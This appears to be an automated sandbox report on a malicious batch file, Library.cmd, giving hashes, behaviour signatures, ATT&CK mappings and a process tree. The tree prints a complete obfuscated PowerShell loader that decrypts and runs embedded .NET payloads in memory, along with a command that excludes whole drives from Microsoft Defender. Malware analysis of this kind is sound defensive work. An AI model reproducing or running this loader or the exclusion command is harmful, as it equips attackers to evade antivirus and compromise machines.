1a357366ee69f83a9c091ee775a44e5cc0fbc2524a50332f9ed261f9ca2d727b

General

Target

Library.cmd
Size

3.3MB
MD5

705ac80b02f73faec8180190bd2b8ce2
SHA1

4f1e20556015edeee8795ea7ef6137b4341b3d80
SHA256

1a357366ee69f83a9c091ee775a44e5cc0fbc2524a50332f9ed261f9ca2d727b
SHA512

da1981a69dee947f2e490c07d452a2881b7a01d09bd6de70ebd9df648db6d8804bbdccff62c40d1a6796ff77ce107cfd01f1dce24369b2b973081c78e5d0de56
SSDEEP

49152:8e90YDSczQOfmBTZ7fSU13LvMeEZng0PJFGrbxM+:0

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
27	2724	powershell.exe
28	2724	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3100	powershell.exe
3732	powershell.exe

Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\VBoxMiniRdrDN	powershell.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
2724	powershell.exe
2724	powershell.exe
3100	powershell.exe
3100	powershell.exe
3732	powershell.exe
3732	powershell.exe
2724	powershell.exe
2724	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2724	powershell.exe
Token: SeDebugPrivilege	3100	powershell.exe
Token: SeDebugPrivilege	3732	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 2992 wrote to memory of 4544	2992	cmd.exe	85
PID 2992 wrote to memory of 4544	2992	cmd.exe	85
PID 4544 wrote to memory of 4680	4544	cmd.exe	87
PID 4544 wrote to memory of 4680	4544	cmd.exe	87
PID 4544 wrote to memory of 2724	4544	cmd.exe	88
PID 4544 wrote to memory of 2724	4544	cmd.exe	88
PID 2724 wrote to memory of 3100	2724	powershell.exe	92
PID 2724 wrote to memory of 3100	2724	powershell.exe	92
PID 2724 wrote to memory of 3732	2724	powershell.exe	95
PID 2724 wrote to memory of 3732	2724	powershell.exe	95

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Library.cmd"
1⤵
- Suspicious use of WriteProcessMemory
PID:2992
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\Library.cmd
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4544
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\Library.cmd';$aYUO='LEWmKoaEWmKdEWmK'.Replace('EWmK', ''),'FEbiYrEbiYomBEbiYaseEbiY64EbiYStrEbiYinEbiYgEbiY'.Replace('EbiY', ''),'Invkamvokamvkkamvekamv'.Replace('kamv', ''),'TrvTXdavTXdnvTXdsfvTXdovTXdrmvTXdFinvTXdalvTXdBlovTXdckvTXd'.Replace('vTXd', ''),'CojZDOpjZDOyTjZDOojZDO'.Replace('jZDO', ''),'SplzVMQitzVMQ'.Replace('zVMQ', ''),'GeRWEbtRWEbCuRWEbrreRWEbntRWEbPrRWEboceRWEbsRWEbsRWEb'.Replace('RWEb', ''),'ChNhmQaNhmQnNhmQgeENhmQxNhmQtenNhmQsiNhmQonNhmQ'.Replace('NhmQ', ''),'EnoyyatoyyaryoyyaPooyyainoyyatoyya'.Replace('oyya', ''),'ElxdPsexdPsmxdPsenxdPstxdPsAtxdPs'.Replace('xdPs', ''),'Dblyiecblyiomblyipblyirblyieblyisblyisblyi'.Replace('blyi', ''),'MaAIfzinAIfzMoAIfzduAIfzleAIfz'.Replace('AIfz', ''),'RearCLadarCLLiarCLnesarCL'.Replace('arCL', ''),'CqIOIreaqIOItqIOIeDqIOIeqIOIcrqIOIypqIOItoqIOIrqIOI'.Replace('qIOI', '');powershell -w hidden;function IocxM($diQol){$NvznA=[System.Security.Cryptography.Aes]::Create();$NvznA.Mode=[System.Security.Cryptography.CipherMode]::CBC;$NvznA.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$NvznA.Key=[System.Convert]::($aYUO[1])('kL1UBtUuFDE9V9LM/Uk/WvdRxJsjj9H6CX3jPEUZ+No=');$NvznA.IV=[System.Convert]::($aYUO[1])('jvlbrCPvcqHagDjBk0TemQ==');$cPnJJ=$NvznA.($aYUO[13])();$gpChW=$cPnJJ.($aYUO[3])($diQol,0,$diQol.Length);$cPnJJ.Dispose();$NvznA.Dispose();$gpChW;}function uBxZK($diQol){$RwHhF=New-Object System.IO.MemoryStream(,$diQol);$fYqcC=New-Object System.IO.MemoryStream;$dpVKq=New-Object System.IO.Compression.GZipStream($RwHhF,[IO.Compression.CompressionMode]::($aYUO[10]));$dpVKq.($aYUO[4])($fYqcC);$dpVKq.Dispose();$RwHhF.Dispose();$fYqcC.Dispose();$fYqcC.ToArray();}$iBXfm=[System.IO.File]::($aYUO[12])([Console]::Title);$Hnkcn=uBxZK (IocxM ([Convert]::($aYUO[1])([System.Linq.Enumerable]::($aYUO[9])($iBXfm, 5).Substring(2))));$AFLeb=uBxZK (IocxM ([Convert]::($aYUO[1])([System.Linq.Enumerable]::($aYUO[9])($iBXfm, 6).Substring(2))));[System.Reflection.Assembly]::($aYUO[0])([byte[]]$AFLeb).($aYUO[8]).($aYUO[2])($null,$null);[System.Reflection.Assembly]::($aYUO[0])([byte[]]$Hnkcn).($aYUO[8]).($aYUO[2])($null,$null); "
    3⤵
    PID:4680
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    3⤵
    - Blocklisted process makes network request
    - Checks for VirtualBox DLLs, possible anti-VM trick
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2724
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3100
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\','F:\')
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3732

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
3f01549ee3e4c18244797530b588dad9

SHA1
3e87863fc06995fe4b741357c68931221d6cc0b9

SHA256
36b51e575810b6af6fc5e778ce0f228bc7797cd3224839b00829ca166fa13f9a

SHA512
73843215228865a4186ac3709bf2896f0f68da0ba3601cc20226203dd429a2ad9817b904a45f6b0456b8be68deebf3b011742a923ce4a77c0c6f3a155522ab50

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
2KB

MD5
e4de99c1795fd54aa87da05fa39c199c

SHA1
dfaaac2de1490fae01104f0a6853a9d8fe39a9d7

SHA256
23c35f4fcd9f110592d3ff34490e261efbcf6c73aa753887479197fd15289457

SHA512
796b6d3f7b9a336bc347eae8fb11cdbf2ae2ad73aae58de79e096c3ad57bd45eadddae445a95c4ee7452554568d7ab55b0307972b24e2ff75eae4a098ba9e926

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1uhu4tan.e0c.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2724-32-0x00007FFB77C60000-0x00007FFB77D1E000-memory.dmp

Filesize
760KB

Download
memory/2724-11-0x00007FFB5BA40000-0x00007FFB5C501000-memory.dmp

Filesize
10.8MB

Download
memory/2724-13-0x000001E979E50000-0x000001E979E94000-memory.dmp

Filesize
272KB

Download
memory/2724-14-0x000001E97A2A0000-0x000001E97A316000-memory.dmp

Filesize
472KB

Download
memory/2724-12-0x00007FFB5BA40000-0x00007FFB5C501000-memory.dmp

Filesize
10.8MB

Download
memory/2724-48-0x00007FFB5BA40000-0x00007FFB5C501000-memory.dmp

Filesize
10.8MB

Download
memory/2724-6-0x000001E979B30000-0x000001E979B52000-memory.dmp

Filesize
136KB

Download
memory/2724-45-0x000001E900000000-0x000001E901000000-memory.dmp

Filesize
16.0MB

Download
memory/2724-30-0x000001E979B20000-0x000001E979B2A000-memory.dmp

Filesize
40KB

Download
memory/2724-0-0x00007FFB5BA43000-0x00007FFB5BA45000-memory.dmp

Filesize
8KB

Download
memory/2724-31-0x00007FFB79A50000-0x00007FFB79C45000-memory.dmp

Filesize
2.0MB

Download
memory/2724-33-0x000001E97A6B0000-0x000001E97A93A000-memory.dmp

Filesize
2.5MB

Download
memory/3100-20-0x00007FFB5BA40000-0x00007FFB5C501000-memory.dmp

Filesize
10.8MB

Download
memory/3100-29-0x00007FFB5BA40000-0x00007FFB5C501000-memory.dmp

Filesize
10.8MB

Download
memory/3100-26-0x00007FFB5BA40000-0x00007FFB5C501000-memory.dmp

Filesize
10.8MB

Download
memory/3100-25-0x00007FFB5BA40000-0x00007FFB5C501000-memory.dmp

Filesize
10.8MB

Download

Resubmissions

Analysis

Sharing